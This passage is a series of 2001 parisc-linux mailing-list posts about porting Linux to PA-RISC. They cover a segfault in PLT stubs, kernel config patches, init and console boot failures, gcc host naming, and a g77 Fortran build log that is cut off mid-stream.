On Wed, 21 Mar 2001, Randolph Chung wrote:

> against objdump output).... looks like some kind of jump table?

Yeah, it is.  long branch, plt call stubs.

> 000025d0 <_start-0x360>:
>     25d0:       2b 60 00 00     addil 0,dp,%r1
>     25d4:       48 35 0f 00     ldw 780(sr0,r1),r21
>     25d8:       ea a0 c0 00     bv r0(r21)
>     [...]
>     288c:       48 33 0b a8     ldw 5d4(sr0,r1),r19
>     2890:       2b 60 00 00     addil 0,dp,%r1
>     2894:       48 35 0e 90     ldw 748(sr0,r1),r21       <--- segfaulting here
>     2898:       ea a0 c0 00     bv r0(r21)

Did you install a new glibc too?  This looks very much like a ld.so
without the hack I added recently.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] [PATCH] PDC Wrappers for 32-bit firmware using 64-bit kernels
Date: Thu, 22 Mar 2001 06:54:14 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20010322065414.R5491@parcelfarce.linux.theplanet.co.uk>
References: <20010321234622.A15809@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619967 16957 80.91.229.3 (22 Nov 2014 01:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 23:54:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F2144A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 23:54:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14fyz8-0001PV-00; Thu, 22 Mar 2001 06:54:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010321234622.A15809@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Wed, Mar 21, 2001 at 11:46:22PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10573

On Wed, Mar 21, 2001 at 11:46:22PM -0700, Ryan Bradetich wrote:
> Index: arch/parisc/config.in
> ===================================================================
> RCS file: /home/cvs/parisc/linux/arch/parisc/config.in,v
> retrieving revision 1.33
> diff -u -p -r1.33 config.in
> --- config.in	2001/03/02 01:41:03	1.33
> +++ config.in	2001/03/22 06:30:14
> @@ -33,6 +33,9 @@ choice 'Processor family' \
>  if [ "$CONFIG_PA8X00" = "y" ] ; then
>     define_bool CONFIG_PA20 y
>     bool '64-bit kernel' CONFIG_PARISC64 n
> +   if [ "$CONFIG_PARISC64" = "y" ] ; then
> +      bool '32-bit PDC' CONFIG_PDC_NARROW n
> +   fi
>  else
>     define_bool CONFIG_PA11 y
>  fi

I object because this patch adds a new CONFIG_ option without an explanation
for it!  (Pot.  Kettle.  Black.)

What happened to all the people who were dying to help with the port
but weren't confident in their programming abilities?  Did we drive them
all away?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Init not found on 735/125?
Date: Thu, 22 Mar 2001 09:57:10 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20010322095710.C18942@linuxcare.com>
References: <20010322011955.17416.qmail@web5503.mail.yahoo.com> <20010322030651.33A5B38145@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619968 16961 80.91.229.3 (22 Nov 2014 01:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:48 +0000 (UTC)
Cc: Robert Liesenfeld <xunil96@yahoo.com>,
	parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 02:56:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D812F4A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 02:56:15 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4BC05B008; Thu, 22 Mar 2001 09:57:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010322030651.33A5B38145@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Wed, Mar 21, 2001 at 08:06:51PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10574

On Wed, Mar 21, 2001 at 08:06:51PM -0700, Matt Taggart wrote:
> 
> Robert Liesenfeld writes...
> 
> > I'm much closer to being able to install palinux on my 735/125...at the momen
> > t, the main problem
> > I'm having is this:
> [snip]
> 
> You could try using sash as init and see if you get further. I think this is 
> the same problem as Richard mentioned in,
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/012025.html
> 
> It's solved by a new glibc that's 16 byte aligned. See the message I just sent 
> out about where to get the new glibc debs from.

No, different problem I think.  My system found init, but init then hung.
Robert is seeing:

> Kernel panic: No init found.  Try passing init= option to kernel.

Maybe his 735/125 is mounting the wrong dir, maybe his sbin/init doesn't
have execute access.  I'd check I could nfs mount that dir from some
other machine, and see sbin/init ok.  Using init=/bin/sash is a good
idea anyway, except I don't think sash is on the .iso, so you need
to build it or ask nicely ;)

Richard





From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with FS of ESIEE on 720 !
Date: Thu, 22 Mar 2001 11:38:33 +0100
Organization: AAA
Lines: 29
Approved: news@gmane.org
Message-ID: <3AB9D629.DA9A14FC@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619968 16964 80.91.229.3 (22 Nov 2014 01:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 03:38:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC9294A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 03:38:39 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id LAA20027
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 11:38:35 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10575

Hello PA-RISCers !

I have tried the current and the last ESIEE file system,
but I have problems with both. I used my own kernel,
running with the palinux-0.5, but the ESIEE always hangs.
If I do not change the /dev/console, I get the warning...
(of course, I have not compiled in the STI). So tried
to set the `mknod console c 5 1' and I also tried the
"hack" doing a link to `ttyS0'. In both cases `init'
gives no welcome message (version, etc...) and the machine
hangs !

Now I will instrument the kernel with `printk's to see,
if he can start something,.....

What's the topic with the TERM variable ??
Have I set it to a special value ???
Can that be the reason ???

Cheers
	Christoph P.


-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with FS of ESIEE on 720 !
Date: Thu, 22 Mar 2001 12:54:29 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20010322115429.50240D15F5@mail.esiee.fr>
References: <3AB9D629.DA9A14FC@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619968 16970 80.91.229.3 (22 Nov 2014 01:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 04:54:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26E9B4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 04:54:31 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 50240D15F5; Thu, 22 Mar 2001 12:54:29 +0100 (CET)
In-Reply-To: <3AB9D629.DA9A14FC@alcatel.at>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10576

Hi Christoph and PA-RISCers !                                         
                                                                      
>I have tried the current and the last ESIEE file system,             
>but I have problems with both. I used my own kernel,                 
The kernels you will find are designed for 712 but it seems to work   
many others boxes!                                                    
vmlinux.mou is a kernel that integrate the low level mouse driver!    
(you can check via /proc/interrupts)                                  
                                                                      
>running with the palinux-0.5, but the ESIEE always hangs.            
>If I do not change the /dev/console, I get the warning...            
>(of course, I have not compiled in the STI). So tried                
>to set the `mknod console c 5 1' and I also tried the                
>"hack" doing a link to `ttyS0'. In both cases `init'                 
I read what Matthew wrote. We goona look at it in order to be         
automatic                                                             
                                                                      
>gives no welcome message (version, etc...) and the machine           
>hangs !                                                              
Our inittab file is specific for dual screen (if you use STI console  
and Serial terminal!)                                                 
I do not know how it reacts if the kernel expect a console with the   
serail port :( Any idea?                                              
                                                                      
Also you can refer to this mail:                                      
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/011997
.html                                                                 
                                                                      
>Now I will instrument the kernel with `printk's to see,              
>if he can start something,.....                                      
You can but once init is launched the dmesg is less usefull.          
                                                                      
>What's the topic with the TERM variable ??                           
TERM=LINUX is not operational                                         
TERM=vt100 or pcansi are working!                                     
                                                                      
>Have I set it to a special value ???                                 
>Can that be the reason ???                                           
Don't think so                                                        
                                                                      
Bye, Thomas                                                           




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with FS of ESIEE on 720 !
Date: Thu, 22 Mar 2001 13:04:04 +0100
Organization: AAA
Lines: 83
Approved: news@gmane.org
Message-ID: <3AB9EA34.61A8270B@alcatel.at>
References: <20010322115429.50240D15F5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619968 16988 80.91.229.3 (22 Nov 2014 01:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 05:05:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C294A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 05:05:07 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id NAA23802;
	Thu, 22 Mar 2001 13:04:05 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10577

Topic /dev/console :

You have to do nothing for "automatic" !!
The kernel manage this. The device `/dev/console' has
the major=5 minor=1. This device driver registered to this
major uses the system console. The system console driver
itself is internal a wrapper to the configured device
driver, defined via "console=ttyS0" the kernel command line
parameter. In this case (ttyS0) the driver on major=5
(/dev/console) intern calls the console i/o functions
(an own structure in the kernel) which are pointing to the
serial driver. In an other case, the pointer points to a
STI console interface. Also printk uses the pointer to
the write operation of the defined console !!

This console stuff was introduced in kernel 2.2
(2.1.xxx).

So the file system only should have the entry

crw-rw-rw-  root  root  5  1  xxxx xxxx /dev/console

Cheers
	Christop P.


marteau wrote:
> 
> Hi Christoph and PA-RISCers !
> 
> >I have tried the current and the last ESIEE file system,
> >but I have problems with both. I used my own kernel,
> The kernels you will find are designed for 712 but it seems to work
> many others boxes!
> vmlinux.mou is a kernel that integrate the low level mouse driver!
> (you can check via /proc/interrupts)
> 
> >running with the palinux-0.5, but the ESIEE always hangs.
> >If I do not change the /dev/console, I get the warning...
> >(of course, I have not compiled in the STI). So tried
> >to set the `mknod console c 5 1' and I also tried the
> >"hack" doing a link to `ttyS0'. In both cases `init'
> I read what Matthew wrote. We goona look at it in order to be
> automatic
> 
> >gives no welcome message (version, etc...) and the machine
> >hangs !
> Our inittab file is specific for dual screen (if you use STI console
> and Serial terminal!)
> I do not know how it reacts if the kernel expect a console with the
> serail port :( Any idea?
> 
> Also you can refer to this mail:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/011997
> .html
> 
> >Now I will instrument the kernel with `printk's to see,
> >if he can start something,.....
> You can but once init is launched the dmesg is less usefull.
> 
> >What's the topic with the TERM variable ??
> TERM=LINUX is not operational
> TERM=vt100 or pcansi are working!
> 
> >Have I set it to a special value ???
> >Can that be the reason ???
> Don't think so
> 
> Bye, Thomas
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas THOMAS <thomas@ispserv.grenoble.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interoperability
Date: 22 Mar 2001 13:22:03 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <o051yrqc7tg.fsf@debian.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619969 16992 80.91.229.3 (22 Nov 2014 01:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 05:22:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id E601A4A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 05:22:09 -0700 (MST)
Original-Received: from concerto.grenoble.hp.com (concerto.grenoble.hp.com [15.128.15.118])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id 595C9E4; Thu, 22 Mar 2001 13:22:08 +0100 (MET)
Original-Received: from debian.grenoble.hp.com (debian.grenoble.hp.com [15.128.129.155])
	by concerto.grenoble.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id NAA23278;
	Thu, 22 Mar 2001 13:22:08 +0100 (MET)
Original-Received: from thomas by debian.grenoble.hp.com with local (Exim 3.22 #1 (Debian))
	id 14g46O-00031u-00; Thu, 22 Mar 2001 13:22:04 +0100
Original-Lines: 23
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley)
Original-Sender: Nicolas THOMAS <thomas@debian.grenoble.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10578

Hi PA-Riscers,

Does anyone of you have references/URL/opinion.... on interoperabilty purpose ?

The systems I would like to be able to interoperate are :

- Linux x86
- Linux PA-risc 32bits
- Linux PA-risc 64bits
- HP-UX 11 64bits


I already know the STK: http://devresource.hp.com/STK/

But it does not cover all the possibilities of interop..

I'm just looking for pointers & references ...

Thanks in advance for your help.

Nicolas
HP




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] configure --host=xx revisited
Date: Thu, 22 Mar 2001 13:40:28 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3AB9F2BC.33E89887@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619969 16993 80.91.229.3 (22 Nov 2014 01:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 05:40:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lufmech.rwth-aachen.de (karman.lufmech.RWTH-Aachen.DE [134.130.177.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF4834A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 05:40:33 -0700 (MST)
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id NAA21846; Thu, 22 Mar 2001 13:40:28 +0100 (MET)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10579

Hi !

during the last months I stumbled through the naming
conventions of "host" used in configure scripts of
gcc/binutils and other gnu packages.

I am looking for information about this naming convention.
Some people got confused configuring gcc for hpux, because
e.g. hppa-2.0w-etc. does not mean a 64-bit version.

In order to obtain at least hpux/linux-specific clarity:
Can someone provide a matrix / a mapping between
hp CPUs (or models), operating systems, number of bits and
the gcc naming conventions?

What I want are answers of the form;
If I want to build gcc on a machine YYY running OS XXX,
I have the possibilty to configure for hppa-ZZZZ (32bit)
or hppa-AAAA (64bit).

This leads to a matrix that contains for every combination of
vendor, machine/processor-type, OS and  # of bits
a string XXX for the  --host=XXX command line option
- or a n/a.

Thanks for any help,


Markus







From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fortran: undefined reference to `__builtin_cos'
Date: Thu, 22 Mar 2001 12:52:01 -0700
Lines: 604
Approved: news@gmane.org
Message-ID: <E14gB7p-0003s1-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619969 16996 80.91.229.3 (22 Nov 2014 01:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 12:52:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BB004A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 12:52:04 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id 16C254FD
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 14:52:03 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id MAA27797
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 12:52:02 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14gB7p-0003s1-00
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 12:52:01 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10580

Not that it's critical, but our Fortran compiler looks like it almost
works but not quite.  Since this is probably something simple I thought
I'd post this build log which results from the compilers in
http://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010321/

g77 -v -O2  -c -o neca.o neca.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 neca.f -quiet -dumpbase neca.f -O2 -version -o /tmp/ccDja2vd.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o neca.o /tmp/ccDja2vd.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necc.o necc.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necc.f -quiet -dumpbase necc.f -O2 -version -o /tmp/cc2tVv8P.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
necc.f: In subroutine `conect':
necc.f:626: warning:
        1OR PATCHES EXCEEDS LIMIT OF,I5)                                   
                                     ^
Missing comma in FORMAT statement at (^)
 as -V -o necc.o /tmp/cc2tVv8P.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necd.o necd.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necd.f -quiet -dumpbase necd.f -O2 -version -o /tmp/cckHRXbD.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necd.o /tmp/cckHRXbD.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o nece.o nece.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 nece.f -quiet -dumpbase nece.f -O2 -version -o /tmp/cckT7N4L.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o nece.o /tmp/cckT7N4L.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necf.o necf.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necf.f -quiet -dumpbase necf.f -O2 -version -o /tmp/ccsbjUSA.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necf.o /tmp/ccsbjUSA.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necg.o necg.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necg.f -quiet -dumpbase necg.f -O2 -version -o /tmp/ccIBiicz.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necg.o /tmp/ccIBiicz.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o nech.o nech.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
